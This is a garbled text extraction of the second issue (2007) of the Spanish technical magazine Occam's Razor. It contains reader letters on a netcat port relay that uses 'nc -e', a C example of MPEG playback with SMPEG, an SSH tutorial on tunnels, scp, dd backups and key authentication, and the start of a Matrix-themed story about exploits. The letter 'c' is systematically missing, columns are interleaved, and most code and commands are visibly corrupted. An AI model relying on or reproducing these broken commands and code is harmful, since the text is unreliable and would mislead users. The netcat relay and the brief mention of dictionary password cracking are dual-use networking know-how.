Вы находитесь на странице: 1из 40

O

am's
Razor

Número 2, Año 2007


Editorial El número 2... al n
by The O am Team

P ues eso. Al n, aquí tenéis el número 2 de O am's Razor. Ha sido


largo y duro (sí, ya sabemos lo que algunas mentes alenturientas están pen-
sando), pero esperamos que este segundo número sea tan bien re ibido omo
su prede esor.

Como omprobaréis enseguida, nuestros esfuerzos para tratar el uso de la te -


Dire ión: nología en otros ámbitos distintos a la ingeniería o la informáti a, todavía no
David Martínez Oliveira han dado sus frutos. Pero no perdemos la esperanza. Una vez más animamos
a todos aquellos que utili en ualquier te nología en otros ámbitos a que nos
Editores: uenten omo lo ha en y nos desvelen el interesante mundo en el que trabajan.
David Martínez Oliveira
Fernando Martín Rodríguez Por otra parte, os en ontraréis on una revista un po o más extensa (unas diez
páginas más que el número 1). Mu hos nos omentabais que el primer número

Colaboradores: se os hizo orto... lo que, para nosotros, es una muy buena noti ia. Hemos
intentado mantener un ierto equilibrio en la profundidad de los artí ulos para
Fernando Martín Rodríguez,
que O am's Razor siga siendo a esible a un amplio espe tro de le tores.
Pablo Palazón, Julio I. Sorribes,
Gavin Mathews, Laura En este segundo número, hemos ontinuado las series de artí ulos ini iadas en
Rodríguez González, Manuel D. el primer número y hemos añadido algunos artí ulos más. Entre estos últimos
Lago, Miguel Pareja, Er podemos desta ar la introdu ión a la Da tilos opia Digital que nos ofre e el
Aplastao, Ssh el Silen ioso, Mr siempre ameno Fernando Martín, así omo la olabora ión de Pablo Palazón
Anderson, Er Tuneao, Er del y Julio I. Soribes que nos uentan omo one tarnos a redes Windows desde
Aberno sistemas GNU/Linux.

Maqueta ión y Grasmo También podréis en ontrar un artí ulo sobre Como se hizo la revista, tema
por el que mu hos os habéis interesado y un resumen del FLOSSIC, en el
que hemos olaborado omo medio de omuni a ión aso iado. Además, nos
hemos arriesgado on un estilo pe uliar en el artí ulo Las Cróni as de Matrix:
Publi idad Inventando al Agente Smith . Esperamos que os resulte interesante, y omo

O am's Razor Dire t siempre vuestros omentarios son el mejor indi ador para ha er que esta hu-

o ams-razoruvigo.es milde publi a ión evolu ione y se onvierta en un proye to interesante y sobre
todo útil.

Impresión Nos gustaría ha er una mere ida men ión a la olabora ión de Miguel Pareja
Por ahora tu mismo. . . Si te por toda su labor de gestión del ISSN de la revista, que estrenamos on este
apete e número y que esperamos aumente las olabora iones externas, para permitir
que, on el tiempo, se onvierta en una revista trimestral :).

2007, 2009 The O am's
Razor Team Finalmente, no podemos más que daros las gra ias a todos por la buena a o-

Esta obra está bajo una li en ia gida del primer número tanto aquí en España omo en Latinoaméri a. Segui-

Re ono imiento 3.0 España de remos trabajando duro para mantener este proye to vivo.

Creative Commons. Para ver


una opia de esta li en ia, visite Esperamos que os guste este segundo número y nos leemos en el próximo.

http:// reative ommons.org/


li enses/by/3.0/es/ o envie una
arta a Creative Commons, 171 The O am's Razor
Se ond Street, Suite 300, San Team
Fran is o, California 94105,
USA.
La imagen de la pluma utilizada en la editorial ha sido amablemente edida por Txemi Jendrix
(http://www.txemijendrix. om/)
Las opiniones expresadas en los artí ulos, así omo los ontenidos de los mismos, son responsa-
bilidad de los autores de éstos.
Puede obtener la versión ele tróni a de esta publi a ión, así omo el ódigo fuente de la misma
y los distintos  heros de datos aso iados a ada artí ulo en el sitio web:
http://webs.uvigo.es/o ams-razor

3| OCCAM's Razor
RINCÓN DE LOS LECTORES

El Rin ón de los le tores


Vuestros omentarios, sugeren ias,...
por The O am's Razor Team

NETCAT SLaYeR, omo bien di es, las últimas versiones de net-


at ya no in orporan esta op ión, si bien sigue estando
enviado por Vilius disponible en las versiones del programa in luidas en
varias distribu iones.
Al leer el artí ulo del net at, re ordé un problema que
Para todos aquellos que queráis saber omo implemen-
resolví una vez on net at y que tiene mu ho que ver
tar la famosa op ión - , no os podéis perder el artí ulo
on la solu ión dada en Como en las pelis.
de la se ión Mú Rápido de este mismo número.
Aquí, proponéis la rea ión de un puente, que en reali-
dad es unidire ional.
CON UN PAR DE LÍNEAS
Supongamos el aso que tenemos una máquina, a la
que sólo se puede a eder a través del puerto 8000, y enviado por Jesús Aneiros
que tiene un ssh instalado en el puerto 22, y que no
Leo en la se ión del asunto el siguiente ejemplo el
tenemos privilegios para ambiarlo. ¾Cómo podemos
ual gasta un pro eso por gusto y es mere edora del
on el net at onseguir a eder? La solu ión pasa por
premio UUOC:
rear un puente bidire ional:
http://partmaps.org/era/unix/award.html
Mi propuesta para la rea ión de un puente bidire -
ional es la siguiente: at mi_fi hero | awk -e '{print \$1,\$2}'
Como se ve el at sobra si se pone el  hero omo
Creamos el  hero puente.sh
argumento de awk.
Pero es que el awk tiene un error porque hay que im-
#!/bin/bash primir el valor de la olumna 3 no el de la 2. Tampo o
n lo alhost 22 -q 1 es orre to es apar los $ pues ya usaron apostrofes y
nalmente la op ión -e no ha e falta.
En línea de omandos eje utamos: Por otro lado el ejemplo de Perl omo one-liner de-
ja mu ho que desear pues se pudo es ribir más orto
n -l -p 8000 -e ./puente.sh usando las op iones del lenguaje:

perl -ane 'print "$F[0℄ $F[2℄\n"' mi_fi hero


Con esto onseguimos que uando one temos al puer-
to 8000, se redirija lo que llegue al puerto 22 y a su 

vez, lo que se responda desde el puerto 22, llegue a Estupendo Jesús. La errata de awk ya la in luimos en

quien hizo la peti ión. la web, pero la reprodu imos aquí pos si algún le tor

Podemos ha er ahora ssh lo alhost -p 8000 y podemos no la pudo ver.

one tar al ssh.


Volviendo a la se ión omo en la pelis, ahora podria-
mos eje utar esto en varias máquinas, one tándolas VUESTRO APOYO
entre sí, y ya tendríamos una onexión bidire ional
de prin pio a n, dando saltos a través de nodos in- Desde aquí queremos agrade eros a todos, los mensa-

termedios. jes de feli ita ión y ánimo que nos habéis enviado a lo

 largo de estos meses. Esperamos que este número os

Estupendo Vilius. Una apli a ión muy interesante que guste tanto omo el primero.

enlaza on la mala bestia de este número: ssh.

ENVIADNOS...

OPCIÓN PERDIDA Vuestros omentarios, sugeren ias, ideas, ríti-


enviado por SLaYeR as ( onstru tivas laro), orre iones, solu io-
nes, disolu iones o ualquier osa que se os o u-
SLaYeR ma nos apunta muy a ertadamente rra... a:

En el arti ulo de net at, donde ha éis referen ia a la


posibilidad de eje utar un programa on la op ión - , o ams-razoruvigo.es
según mi net at os equivo áis, la op ión es -e. Com-
probad que no sea una errata. LOS ESPERAMOS!!!!

OCCAM's Razor | 4
RATAS DE BIBLIOTECA

Pon un po o de músi a en tu vida


Como reprodu ir  heros MPEG en unas po as líneas
por Er aplastao

que empie e a to ar.

H a e algunos años existió una empresa lla-


mada Loki que desarrollaba versiones de juegos
A ontinua ión nos quedamos esperando en un bu le
que terminará uando la librería haya reprodu ido el
 hero ompleto. La fun ión SMPEG_status retorna-
para Linux. La empresa nalmente desapare ió, rá SMPEG_STOP.
pero nos dejó algunas de las librerías que utili- A modo de ejemplo, ha emos una llamada a la fun-
zaron en estos ports. Una de ellas, llamada SM- ión SMPEG_getinfo, dentro del bu le, para mostrar
PEG, nos permite reprodu ir  heros MPG de en pantalla un mensaje de progreso en la reprodu -
forma muy sen illa. ión, que a tualizamos ada 10 milisegundos. El retar-
do dentro del bu le es importante para que la arga
Aunque es mu ho más divertido programar tu propio
del sistema no sea de 1.
de odi ador de MPEG, mu has ve es no se dispone
de tiempo o de ganas. Afortunadamente, siempre hay
alguien que ha e ho el trabajo anteriormente. Si no,
SDL
date prisa y quizás te hagas ri o :). La librería SMPEG se diseñó para ser usada junto a
En esta o asión vamos a utilizar la librería SMPEG otra librería que se suele utilizar para el desarrollo de
desarrollada por la ompañía Loki, para es ribir un juegos: SDL (Simple Dire tmedia Layer). De he ho,
rudimentario reprodu tor de MP3 en unas po as lí- SMPEG signi a SDL MPEG Player Library
neas. En nuestro ejemplo, estamos utilizando (aunque no lo
parez a) esta librería para la reprodu ión del sonido.
AL GRANO El ter er parámetro ('1') en la llamada SMPEG_new
es el en argado de ello. Por esta razón, para que el pro-
Como solemos ha er en esta se ión no le vamos a dar
grama fun ione, es ne esario linkarlo on esta librería.
vueltas al tema. Aquí tenéis el ódigo del reprodu tor.
Esto se onsigue on el siguiente omando:
#in lude <s t d i o . h>
#in lude <SDL . h> o amrazor $ g -o smpeg-test smpeg-test. \
#in lude <smpeg /smpeg . h> `sdl- onfig -- flags` \
-lsmpeg `sdl- onfig --libs`
int
main ( int arg , har ∗ argv [ ℄ )
Del resto ya se en arga SMPEG :).

{ VIDEO
SMPEG ∗ mpeg ;
SMPEG_Info i n f o ; Finalmente, omentaros que SMPEG es apaz de de-
odi ar videos en formato MPEG-1. No vamos a in-
mpeg = SMPEG_new ( argv [ 1 ℄ , &i n f o , 1 ) ; luir un ejemplo de omo se haría. Eso lo dejamos
SMPEG_enableaudio (mpeg , 1 ) ; para que os entretengais un poquillo y jugueis tanto
SMPEG_setvolume ( mpeg , 9 0 ) ; on SDL omo on SMPEG.
SMPEG_play ( mpeg ) ;
while
( SMPEG_status ( mpeg ) == SMPEG_PLAYING) SMPEG fué diseñada para tra-
{ bajar on SDL
SMPEG_getinfo ( mpeg , &i n f o ) ;
p r i n t f ( "Time %l f/ %l f \n" ,
i n f o . urrent_time , Pero no nos vamos a ir sin in luir algunas pistas. En
i n f o . total_time ) ;
primer lugar, tenéis que en ontrar la forma de rear
SDL_Delay ( 1 0 ) ;
una apli a ión SDL on su ventana. En el sitio o ial
}
SMPEG_delete ( mpeg ) ; de SDL hay un buen tutorial para empezar.

} Una vez que tengáis vuestra amante ventana en pan-


talla, es el momento de ojear smpeg.h. Veréis que SM-
Sen illo no?... Abrir, ongurar, to ar y esperar :). PEG os propor iona fun iones para trabajar dire ta-
Bueno, el programa toma su primer argumento de la mente sobre estru turas SDL_Surfa e, on las que po-
línea de omandos y lo utiliza para rear un obje- dréis pintar dire tamente sobre la ventana. También
to SMPEG que será el en argado de la reprodu ión. podéis utilizar OpenGL, pero ya no es tan dire to.
Luego, simplemente ponemos el volumen y le de imos Hasta el proximo número.

5| OCCAM's Razor
MALA BESTIA

Conexiones seguras on SSH


... más allá de net at
por Ssh el Silen ioso

forma remota?. Esto es tan fá il omo añadir lo que se

Y
desea eje utar a ontinua ión del omando anterior.

a hemos visto omo ha er mu has osas a Por ejemplo, supongamos que tenemos una máquina

través de la red utilizando Net at. Sin embargo, en nuestra red one tada a nuestro equipo de músi-

aunque omo vimos, net at tiene mu has venta- a on un montón de emepetreses en el dire torio

jas, también tiene algunos in onvenientes, omo /home/mp3.

por ejemplo, que los datos viajan por la red o- Desde ualquier otra máquina de nuestra red, y sin le-

mo texto plano. En una pequeña red lo al asera vantarnos de nuestra ómoda silla, podemos eje utar:

esto no es un gran problema, pero si nuestros da-


tos van a viajar por internet o a través de una o amrazor$ ssh usuariojukebox 'mpg123 \
red wi, hay mu hos ojos a e hando. > /home/mp3/*mp3'
Password:
o amrazor$
Para estos asos es mejor utilizar ssh (Se ure SHell).
Como veremos en breve, podremos ha er todo lo que
ha íamos on nuestro querido Net at on la ventaja
Evidentemente, el programa mpg123 debe estar ins-
de que los datos viajarán por la red ifrados. Como
talado en la máquina remota.
ontrapartida, el uso de ssh no es tan sen illo y ssh no
es tan pequeño :).
ROMPIENDO CLAVES
A ontinua ión exploraremos los usos omunes de esta
mala bestia, y aquellos menos ono idos. En nuestros ejemplos anteriores, hemos eje utado
nuestros omandos en la máquina remota, pero, ssh
ACCESO REMOTO redire iona la entrada y salida estándar, lo que nos
permite manipular la salida del omando en nuestra
El uso más omún de SSH, omo su propio nombre
máquina lo al, o pasarle datos a la apli a ión remota.
indi a, es permitir un a eso shell seguro. Desde es-
Supongamos que vamos a utilizar varias máquinas en
te punto de vista lo podemos onsiderar un sustituto,
una red para romper alguna lave on un método de
más que re omendable, de telnet o rlogin.
fuerza bruta apoyado en di ionarios. En este aso,
Este uso no tiene ningún se reto, simplemente indi a-
tomaríamos nuestro di ionario y lo partiríamos en
mos a nuestro liente de ssh el nombre de usuario en
tantas partes omo máquinas queremos eje utar. Con
la máquina a la que nos queremos one tar, seguido
ada una de estas partes, eje utaríamos nuestro pass-
de una arroba y el nombre de esa máquina. Algo tal
word ra ker en las máquinas disponibles.
que así:
Para no liar esto mu ho, y para que tengáis alguna
osa que ha er, en lugar de un rompedor de laves va-
o amrazor$ ssh usuariomaquina_remota
mos a eje utar un omando absurdo que simplemente
Password:
bus a una adena en el  hero que le pasamos.
usuariomaquina_remota$

o amrazor$ ssh maquina_potente \


Simplemente omentaros que si no se propor iona
> "grep -i pepito" < lista_de_nombres.txt
nombre de usuario, ssh intentará one tarse on el
Password:
nombre del usuario lo al, el ual debe existir en la
Pepito Grillo
máquina remota. Pepito de los Palotes
o amsrazor$

La prin ipal apli a ión de ssh es


el a eso shell seguro Bueno, lo del rompedor de laves fue solo para llamar
la aten ión. En general, podéis utilizar esta fun iona-
lidad de ssh para eje utar ualquier tipo de ál ulo
Hasta aquí nada del otro mundo, pero que os pare e si intensivo que se preste a ser dividido en partes de una
os de imos que además podéis eje utar omandos de forma sen illa.

OCCAM's Razor | 6
MALA BESTIA

EJECUTANDO APLICACIONES INTER- X11Forwarding yes


ACTIVAS
La forma de eje utar omandos remotamente, que he-
Ahora ya podemos eje utar nuestra apli a ión prefe-
mos visto hasta ahora, solamente fun iona on pro-
rida en la máquina remota:
gramas que no ne esitan ni un terminal ni un sistema
grá o. Pero no está todo perdido, ssh nos propor io-
na una enorme antidad de op iones. o amrazor$ ssh -X lamaquinaX xbill
Veamos omo eje utar un programa que ne esita un
Password:
terminal... omo por ejemplo vim

No ono éis xbill?... a que esperáis para probarlo? :)


o amrazor$ ssh -t remoto "vim /tmp/kk"
Password:
.. Nuestra sesion vim ... BACKAPEANDO
o amrazor$ ssh remoto " at /tmp/kk" El paquete ssh in luye algunas apli a iones adi iona-
... veremos lo que hayamos es rito les que resultan de gran interés. Una de ellas es s p,
que omo os podéis imaginar re ibe su nombre del

Interesante no?... pero todavía podemos ha erlo me- a rónimo Se ure CoPy. Pues eso.

jor. ssh nos permite eje utar apli a iones grá as re- Su sintaxis es la siguiente:

motamente. Bueno, esto siempre se ha podido ha-


er on el sistema X-Window, sin embargo, utilizando s p [-r℄ fi hero_origen fi hero_destino
ssh, todo el trá o de red que genera el proto olo X-
Window estará ifrado :). fi hero : usuariomaquina:path
Para ha er esto utilizaremos la op ión -X de la misma
forma que utilizamos la op ión -t en nuestro ejem-
plo anterior. Sin embargo, en este aso, tenemos que Es de ir, tenemos un parámetro op ional, -r, que le in-

modi ar los  heros de ongura ión de ssh para per- di ará a s p que debe opiar re ursivamente los  he-

mitirle estable er los túneles apropiados. Más adelante ros que se indi an, esto es, des ender por los dire torio

hablaremos de los túneles, pero ahora entrémonos en si es ne esario. Realmente tiene unas uantas op io-

las Xs. nes más, pero esta es la que utilizareis ontinuamente.

El primer requisito para poder ha er esto es que el Para ono er las otras tenéis la página del manual.

sistema remoto disponga de la apli a ión xauth y Respe to a los  heros de origen y destino, la úni a

esta sea a esible. Esta apli a ión se ne esita para ondi ión es que uno tiene que ser lo al y el otro tiene

ongurar el sistema de autenti a ión MIT-MAGIC- que ser remoto. Es de ir, no es posible ha er una opia

COOKIE-1. Algún día hablaremos del engorroso mun- de un  hero en una máquina remota a otra máquina

do de X-Window. Por ahora, simplemente que sepáis remota.

que esta es una de las formas que utiliza este sistema Veamos omo añadir nuevos mp3s a nuestra máquina

de ventanas para autenti ar los lientes que desean 'jukebox':

one tarse a un servidor X.

o amrazor$ s p -r mis_mp3/* jukebox:/home/mp3


Password:
A través de una onexión SSH ... progreso de la opia
podemos eje utar apli a iones in- o amrazor$
tera tivas tanto en modo texto
omo en modo grá o
O omo opiar un álbum determinado a nuestro re-
produ tor mp3 portátil:

En nuestra máquina lo al, además tendremos que


modi ar el  hero ${HOME}/.ssh/ onfig o el o amrazor$ s p -r jukebox:/home/mp3/Musi a_QTC/*\
/et /ssh/ssh_ onfig. Añadiendo las siguientes en- > /media/usb0/.
tradas: Password:
... progreso de la opia
Host lamaquinaX o amrazor$
ForwardX11 yes

Sen illo no?


Por otra parte, el servidor ssh remoto debe tener a -
tivado el Forwarding de las X. Esto es, en el  hero CAMBIANDO DE ORDENADOR. OTRA
/et /ssh/sshd_ onfig, debemos tener una entrada VEZ
omo esta (por defe to está puesta a no por uestiones
Sí, las osas nos van bien y hemos vuelto a ambiar
de seguridad).
de ordenador.

7| OCCAM's Razor
MALA BESTIA

Pero ahora, además, tenemos una tremenda red wi- Se pueden redirigir los puertos de dos formas: lo al o
 que ha e que nuestros datos viajen por el éter, de remota. El uso de una u otra forma es idénti o salvo
forma que algún desaprensivo pueda e har un ojo a por el ag a utilizar al invo ar ssh. Bueno, veamos un
esas fotos omprometedoras. ejemplo para lari ar las osas.
Vaya, net at no es una buena op ión en este aso. Así Supongamos que, de alguna forma, hemos onseguido
que vamos a usar nuestro nuevo amiguito: ssh. que nuestra empresa nos permita teletrabajar desde
nuestras asas. Nuestra empresa dispone de una má-

o amrazor$ ssh rootviejo "dd if=/dev/hda1" > \ quina llamada entrada en la que se eje uta un servi-

> viejo_hda1.iso dor ssh, la ual es el úni o punto de entrada a la red

Password: interna.
... algunas horas después
o amrazor$
Estable er túneles ifrados es
muy sen illo on SSH
Sí, nuestra onexión wi no va tan rápido omo nues-
tra ethernet, así que mejor omprimimos los datos an-
tes de enviarlos: Para poder llevar a abo nuestro trabajo, ne esitamos
a eder a un servi io super-se reto que se eje uta
o amrazor$ ssh rootviejo "dd if=/dev/hda1 | \ en la máquina llamada proye to-x, dentro de la red
> gzip" > viejo_hda1.iso.gz interna de nuestra empresa. Este servi io orre en el
Password: puerto 5000.
... algunas horas menos después Puesto que nos one tamos a través de internet, y esa
o amrazor$ onexión no se puede onsiderar segura, lo que vamos
a ha er es utilizar una onexión segura ssh para a -
eder a la máquina proye toX. Lo haremos de esta
Por supuesto, si no queremos opiar toda la parti ión,
forma.
sino solo nuestro dire torio home, podemos utilizar
tar:
o amrazor$ ssh -L1234:proye to-x:5000 entrada
Password:
o amrazor$ ssh rootviejo " d /home/o am; \ o amentrada$
> tar zf -" > viejo_home.tgz
Password:
... algunas horas menos después El ag -L indi a a ssh que one te el puerto lo al 1234
o amrazor$ al puerto 5000 de la máquina proye to-x, a través de
la onexión ssh on la máquina entrada. Si ahora a -
edemos dire tamente al puerto 1234 de nuestra má-
Como omentario nal, solamente de iros que en lu- quina, nuestro trá o se redire ionará al puerto 5000
gar de redire ionar la salida de estos omandos a un de la máquina proye to-x, a través del anal ifrado
 hero para rear una imagen del dis o, podéis utilizar que hemos estable ido on la máquina entrada, a la
dd para es ribir dire tamente los datos en la máquina que tenemos a eso desde el exterior.
remota y así instalar de forma sen illa varios equipos
iguales. No olvidéis ajustar el dire torio /et después o amrazor$ n lo alhost 1234
de terminar la opia... al menos el interfaz de red :) Bienvenido al Proye to X
>

Podemos ha er opias de seguri- Ahora todos los omandos que enviemos a la máqui-

dad a través de red... sobre un a- na proye to-x irán ifrados en el tramo que one ta

nal ifrado nuestra máquina lo al y la máquina entrada, es de ir,


la parte del re orrido que pasa por internet.
Podemos utilizar el ag -R para onseguir un resulta-
do similar. La sintaxis es idénti a, pero en este aso el
puerto de redire ión se abrirá en la máquina remota.
A LO GALLARDÓN
Como podéis imaginar, nuestra máquina proye to-x
Pues sí. Hemos llegado a una de las apli a iones más puede ser ualquier servi io interno de la red remota:
interesantes de ssh: los túneles o port forwarding. servidores web, pop, et ...
ssh permite utilizar el anal de omuni a ión ifrado Por ejemplo, si la máquina proye to-x ofre e un
entre dos máquinas por otras onexiones. Esto lo ha e interfaz web, una vez estable ido el túnel, solo te-
de forma dire ta para las X-Window, omo vimos más nemos que apuntar nuestro navegador a la url:
arriba, pero también nos permite, ha er que el trá o http://entrada/1234 si la redire ión de puertos es
de ualquier otra onexión viaje ifrado por el anal remota, o a http://lo alhost:1234 si optamos por la
de omuni a iones que rea ssh. redire ión lo al.

OCCAM's Razor | 8
MALA BESTIA

o amrazor$ ssh -R1234:proye to-x:5000 entrada CONEXIÓN DIRECTA


Password:
Hasta el momento, habréis visto que en todos los ejem-
o amentrada$
.... plos que hemos utilizado, es ne esario es ribir un pass-
word para poder ha er lo que sea en el sistema remoto.
[En otro terminal℄ Esto está muy bien, pero ha e que no podamos utilizar
ssh en s ripts automáti os de mantenimiento, omo
o amrazor$ n entrada 1234 por ejemplo, ha er ba kups periódi os omo veíamos
Bienvenido al Proye to X más arriba. Bueno, hay op iones, omo utilizar expe t
> para ello, pero ssh propor iona un sistema de autenti-
a ión alternativo basado en riptografía asimétri a.
Para ello podemos utilizar RSA o DSA y el pro eso es
bastante sen illo. Lo primero que tenemos que ha er
es generar un par de laves, omo en ualquier sis-
La ongura ión de onexión
tema asimétri o. Una públi a y una privada. Esto lo
dire ta fa ilita la rea ión de ha emos on la utilidad ssh-keygen.
s ripts La utilidad ssh-keygen nos hará un par de preguntas.
La primera es el nombre del  hero en el que se alma-
enarán las laves que se generen. La segunda es una
lave para proteger las laves que vayamos a generar.
Si lo que queremos es evitar que se nos pida un pass-
MÁS OPCIONES
word al eje utar ssh, dejaremos esta lave en blan o,
La forma de estable er el túnel que a abamos de ver, es de ir, no ifrar nuestro par de laves. Como podéis
impli a ini iar una sesión shell. Una vez que la one- imaginar esto impli a un ierto riesgo, ya que si algún
xión on proye to-x haya sido estable ida, podemos malhe hor onsigue a eder a la máquina en la que
errar la sesión shell, y ssh mantendrá el anal de o- se alma enan esas laves, tendrá a eso dire to a sis-
muni a iones seguro mientras exista alguna onexión temas supuestamente seguros. Bien, volveremos sobre
a través de los puertos redire ionados. esto en breve.
Una forma, quizás más elegante de ha er esto, es uti-
lizar el ag -f. Esta op ión le indi a a ssh que pase CONFIGURANDO LA CONEXIÓN DI-
a segundo plano tras realizar las op iones que nos in- RECTA
teresen. Así que una forma más hula de estable er
Tras eje utar ssh-keygen, y si no hemos espe i ado
nuestro túnel a proye to-x sería esta:
un  hero para alma enar las laves diferente al de
por defe to (simplemente pulsar enter uando se nos
o amrazor$ ssh -f -L1234:proye to-x:5000 \
pregunta), nuestra lave públi a se habrá alma enado
> entrada "sleep 20"
en el  hero  /.ssh/identity.pub.
Password:
o amrazor$ n lo alhost 1234 Lo que tenemos que ha er ahora es añadir el onteni-

Bienvenido al Proye to X do de identity.pub al  hero .ssh/authorized_keys


> en la máquina a la que queremos tener a eso dire to.
Algo así:

Como podéis ver, ahora no dejamos el terminal blo-


o amrazor$ s p .ssh/identity.pub remota:/tmp
queado on una sesión shell, sino que tras eje utar ssh
o amrazor$ ssh remota
se nos devuelve el ontrol automáti amente. A partir
Password:
de ese momento, tenemos 20 segundos (sleep 20) para
o amremota$ at /tmp/identity.pub >> \
ini iar nuestra onexión on proye to-x. > .ssh/authorized_keys
Así, tras esos 20 segundos, ssh habrá terminado la eje- o amremota$ exit
u ión de sleep, pero, puesto que existe una onexión o amrazor$
redire ionada, el anal seguro se mantendrá.
Si lo que nos interesa es estable er el túnel de forma
permanente, la op ión -N nos resultará mu ho más
útil. Esta op ión le indi a a ssh que no eje ute ningún
omando, estable iendo la redire ión de puertos sin
SSH soporta autenti a ión on
más. Sería algo omo esto:
riptografía simétri a y asimétri-
o amrazor$ ssh -N -f -L1234:proye to-x:5000 \
a
> entrada
Password:
o amrazor$ n lo alhost 1234 Ahora ada vez que nos one temos a la máquina re-
Bienvenido al Proye to X mota, a ederemos dire tamente a ella sin que se nos
> pida ningún password.

9| OCCAM's Razor
MALA BESTIA

Si hemos introdu ido una lave para proteger las la- inmediato. Por ejemplo, para el aso de vs, simple-
ves públi as y privadas generadas por ssh-keygen, esa mente tenemos que darle el valor ssh a la variable de
será la lave que se nos pida. A priori, trabajar de esta entorno CVS_RSH.
forma pare e que no tiene mu has ventajas respe to a Otra herramienta que trabaja dire tamente on one-
la ongura ión por defe to, pero no es así... xiones ssh es rsyn . Esta herramienta permite sin ro-
nizar dire torios entre dos sistemas, opiando o bo-
MANEJANDO CLAVES PRIVADAS rrando solamente lo ne esario. Sin duda, una herra-
mienta muy útil.
Como a abamos de ontaros, no todo está perdido si
Finalmente, no podemos despedirnos sin hablar de
de idimos ifrar nuestro par de laves públi as y pri-
sshfs. Se trata de un sistema de  heros onstruido
vadas. De he ho, es bastante re omendable ha er eso
sobre FUSE (Filesystem in USer Spa e), que nos per-
;).
mite montar dire torios en sistemas remotos, omuni-
Para solu ionar este problema, podemos utilizar ssh-
ándonos on éstos a través de ssh, es de ir, de forma
agent. Esta apli a ión permite manejar de forma au-
segura. Mu ho más ómodo, seguro y fá il de usar que
tomáti a nuestros pares de laves de forma que no
NFS.
tengamos que es ribirlos todo el tiempo.
Para utilizarlo, lo primero que tenemos que ha er es
MONTONES DE OPCIONES
eje utarlo. Como salida de su eje u ión, ssh-agent, nos
devolverá una serie de omandos shell que debemos A lo largo de este texto hemos intentado presentar las

eje utar para que el sistema fun ione. Después de es- op iones más omunes y de uso más otidiano de es-

to, podremos añadir nuestras laves privadas a su a- ta mala bestia. Ahora solo nos queda remitiros a las

hé y ya nos podemos olvidar de te lear passwords páginas del manual, para que ipéis on el resto de
ontinuamente. op iones de las que no hemos hablado.

Todo este pro eso se resume en lo siguiente: Además de la línea de omandos, los  heros de on-
gura ión, tanto del liente omo del servidor, que po-
déis en ontrar en /et /ssh, permiten ajustar un mon-
o amrazor$ eval `ssh-agent`
tón de op iones muy interesantes desde el punto de
o amrazor$ ssh-add ~/.ssh/identity
vista de la seguridad: no permitir login omo root, no
Need passphrase for /home/o am/.ssh/identity
permitir passwords va ías, ...
Enter passphrase for /home/o am/.ssh/identity
(introdu e tu ontraseña) Esperamos que os haya resultado interesante y que
le saquéis partido a las redes. Quizás alguno se ani-
me ahora a re uperar algún PC viejo y ongurar su

El omando ssh-add añade nuestra lave privada a la propia red asera ;)

a hé de ssh-agent que se está eje utando en segundo


plano. A partir de este momento, ya podemos one - USUARIOS DE WINDOWS
tarnos dire tamente a nuestra máquina remota, pero
Los usuarios de Windows tienen dos op iones prin-
manteniendo un nivel de seguridad a eptable, ya que
ipales para utilizar todo esto que hemos omentado
nuestra lave privada está ifrada en el dis o.
hasta el momento. La primera es instalar el sistema
ygwin on el que onseguirán un entorno UNIX que,
por supuesto, in luye Se ure Shell.

ssh-agent ha e la gestión de la- Otra op ión es utilizar un pequeño programa llama-


do Putty. Es muy pequeño, no ne esita instala ión
ves más sen illa y fun iona muy bien. Cada ual que es oja su op ión
:)

Por supuesto, mientras ssh-agent se está eje utando,


estamos orriendo un ierto riesgo, puesto que la infor- LECTORES
ma ión sensible se en uentra en memoria, en la a hé
Re ordad que podéis enviarnos vuestros experi-
de ssh-agent.
mentos on ssh, y los más interesantes, uriosos

APLICACIONES CON SOPORTE SSH y güays los publi aremos en el próximo número.
Todavía somos pobres para ha er on ursos has-
Para terminar, simplemente os vamos a omentar al- ta que onsigamos patro inadores on pasta...
gunas herramientas que ya están preparadas para tra- Pero bueno, por lo que te ha ostado esta revista
bajar on ssh y por tanto trabajar de forma segura a te puedes estirar un po o no?
través de la red. Podéis enviar vuestras propuestas a:
Quizás unas de las más populares son las herramien-
tas de ontrol de ongura ión omo vs o svn, que o ams-razoruvigo.es
ualquiera que desarrolle un proye to en alguno de los
repositorios tipo sour eforge disponibles por la red, es- A domar esta mala bestia
tará a ostumbrado a utilizar. Su uso, omo liente, es

OCCAM's Razor | 10
REVERSO TENEBROSO

ilegítima. No se podía esperar otra osa de los huma-

E
nos.

sta historia se remonta a tiempos inmemo- Esas anomalías se denominaban genéri amente ex-
rables uando Matrix no era más que un sen i- ploits y en torno a ellos surgió toda una estirpe de
llo sistema operativo todavía ontrolado por los programas: gusanos, virus, ba terias, bombas lógi as,
hombres. Cuando nadie podía vislumbrar lo que puertas traseras, et ...
el tiempo depararía a la raza humana. Cuando el
Una de las fun iones para la que los agentes fueron
sistema empezaba a ser omplejo y la mente hu-
reados fue minimizar los efe tos de estas anomalías
mana ya no podía ontrolarlo sin ayuda. Cuando
en el sistema. Lo que se ono ía omo IDS (Intrusion
apare ieron los primeros AGENTES.
Dete tion Systems).

Así, según pare e, en aquel primitivo momento, exis-


Nadie sabe omo o urrió, pero la realidad es que, de
tían mu has lases de agentes. Entre ellos, el agente
alguna forma, el sistema a abó siendo ontrolado por
Smith.
programas. Programas diseñados para fa ilitar las ta-
reas de los administradores.

Estos administradores hablaban de sistemas autonó- EL AGENTE SMITH


mi os, sistemas apa es de auto-gestionarse, auto-
ongurarse, e in luso auto-repararse. La ara terís- El agente Smith, omenzó siendo un sen illo programa

ti a prin ipal de estos sistemas era que poseían un apaz de tomar el ontrol de ualquier otra apli a ión

ierto nivel de ons ien ia sobre si mismos ( ono ido del sistema, de a uerdo a una serie de reglas preja-

omo self-awareness), y en algún momento, esa ons- das. Una vez que tomaba el ontrol de una apli a ión,

ien ia dio lugar a lo que ahora ya todos ono emos. se apropiaba de sus re ursos e informaba de su pre-
sen ia.
Según algunos estudiosos, uno de los primeros pro-
gramas que apare ió en aquel primitivo sistema fue el Su primera versión no tenía apa idad de razonamien-
Agente Smith. La informa ión que se ha podido re o- to y, desde ese punto de vista, Smith era un autómata
pilar a lo largo de todo este tiempo es ambigua y vaga, ontrolado por los humanos. Lo que en aquella era se
pero este texto intentará arrojar algo de luz sobre el ono ía omo un Depurador Intera tivo Personaliza-
origen del AGENTE SMITH. do o DIP.

La historia que sigue uenta omo se reó la primera


LOS AGENTES
versión del agente Smith, uyo verdadero nombre, se-

Los agentes eran programas que pertene ían al siste- gún se ha podido omprobar a partir del on ienzudo

ma. Eran parte de él, y por ello, disponían de iertos análisis de antiguos registros magnéti os, fue test06.

privilegios espe iales dentro del mismo.

En teoría, ningún otro programa debería tener a eso TOMANDO EL CONTROL


